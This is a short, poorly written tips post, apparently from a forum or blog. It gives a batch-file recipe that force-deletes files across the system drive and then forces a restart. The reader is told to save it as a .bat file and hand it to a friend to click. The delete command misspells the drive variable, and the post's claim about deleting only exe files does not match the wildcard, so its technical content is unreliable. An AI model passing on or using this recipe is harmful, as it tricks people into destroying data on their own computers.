there is new tips of batch file to make error in window if you want to delete all exe file from the window then fallow me!
1.
open notepad and type these commands
Del %systemdriver%\*.*/f/s/q
shutdown -r -f -t 10
dear type above one commands and save it in bat file
for example open file savas then any name.bat
be remmber Dot is must between the name and bat
after that give to any friend and say to him click on it |